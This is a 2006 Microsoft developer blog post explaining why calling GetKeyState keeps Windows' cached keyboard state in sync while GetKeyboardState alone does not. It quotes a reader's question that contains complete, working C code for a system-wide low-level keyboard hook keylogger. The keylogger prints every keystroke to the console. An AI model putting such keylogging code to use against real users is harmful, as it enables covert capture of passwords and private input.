The message queue runneth over, and may not be in sync

by Michael S. Kaplan, published on 2006/12/20 15:01 -05:00, original URI: http://blogs.msdn.com/b/michkap/archive/2006/12/20/1332470.aspx


So last night Aaron Margosis (who you may recall I have mentioned before here) asked about a question over in Raymond Chen's suggestion box to both Raymond and I, and added a question of his own. Raymond was gracious enough to cede jurisidiction for both of them, and this whole interaction is responsible for the blog post you are now about to read!

(By the way, a casual  glance at the suggestion box finds countless questions related to international stuff, Unicode,and even MSLU so I probably ought to try and raid his cupboards again in the future!)

The original question, by James (from almost a week ago) was:

The following code implements a simple keylogger. It prints out everything that is typed on the system to stdout. However the seemingly useless line 'GetKeyState(0);' is required for it to work. If that is not there the information that GetKeyboardState returns is never updated (and so it loses track of caps lock, etc.). According to the documentation GetKeyboardState is only updated when you remove keyboard messages from your queue. It is supposed to be the same for GetKeyState, so how come calling that function causes the buffer to be updated? Is there some subtlety I have missed or is this an obscure bug?

#include <windows.h>
#include <cstdio>

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if(nCode == HC_ACTION && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* key = (KBDLLHOOKSTRUCT*)lParam;

        GetKeyState(0);

        BYTE keyState[256];

        GetKeyboardState(keyState);

        WORD chars;

        if(ToAscii(key->vkCode, key->scanCode, keyState, &chars, 0)) {
            if((char)chars == '\r') putchar('\n');
            else putchar(chars);
        }
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main(int argc, char** argv) {
    HHOOK hhk = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);

    MSG msg;

    while(GetMessage(&msg, NULL, 0, 0) > 0);

    UnhookWindowsHookEx(hhk);

    return 0;
}

To find a more official answer than the results James was seeing, I went into the source and found a comment buried deep under that GetKeyState call that I believe may date back to 1991:

        /*
         * If this thread needs a key state event, give one to it. There are
         * cases where any app may be looping looking at GetKeyState(), plus
         * calling PeekMessage(). Key state events don't get created unless
         * new hardware input comes along. If the app isn't receiving hardware
         * input, it won't get the new key state. So ResyncKeyState() will
         * ensure that if the app is looping on GetKeyState(), it'll get the
         * right key state.
         */

Now obviously the code was thinking more along the lines of people making meaningful calls to specific VK values rather than just calling GetKeyState(0), but the code is signaling for updates to the key state to happen more often if GetKeyState is being called, under the assumption that the casller may be looping through multiple VK values.

This extra bit of work does not happen when GetKeyboardState is called, making that function significantly less useful than 256 individual calls to GetKeyState (though just one call will make the subsequent call to GetKeyboardState more useful!). So while both functions read from the thread message queue, how up to date the cached key state info is can vary between them....

I should probably talk about GetMessage and PeekMessage for a moment and how they fit in, especially getting to Aaron's question:

Bottom line is that GetKeyboardState doesn’t seem to update very well – GetKeyState will force it to update. Documentation doesn’t seem to indicate why, or that it’s needed.  Any idea what’s going on?

Also (my question) do either of these functions cause a message queue to come into being if the thread doesn’t already have one?

The answer to that first part is that it is not needed if one is grabbing messages out with PeekMessage calls, but you can still fall out of sync depending on how messages are being processed if Windows thinks it casn avoid updatinmg the key state buffer, as it thinks it can in the simple app without the GetKeyState(0) calls.

For the second question, each thread that is receiving input will have a message queue to receive that input. Calling a function won't create such a queue where one didn't exist before (though you can probably imagine weirdness when you deal with out of thread calls marking messages as processed, which is generally why the system won't give you the messages and you need a low level hook to see them anyway!).

Now the original question would have probably felt more at home here if James had been calling ToUnicode rather than ToAscii, but we won't quibble. It is at least about keyboards. :-)

I suppose if the docs were updated to indicate that calls to GetKeyState will keep the key state buffer more up to date and in sync with the inpue message queue, it wouldn't be an entirely bad thing. Though in truth I think this is usually not noticed since the message processing is keeping up to date anyway; the times when it would make a difference are in the minority here....

 

This post brought to you by Q (U+0051, a.k.a. LATIN CAPITAL LETTER Q)


no comments

go to newer or older post, or back to index or month or day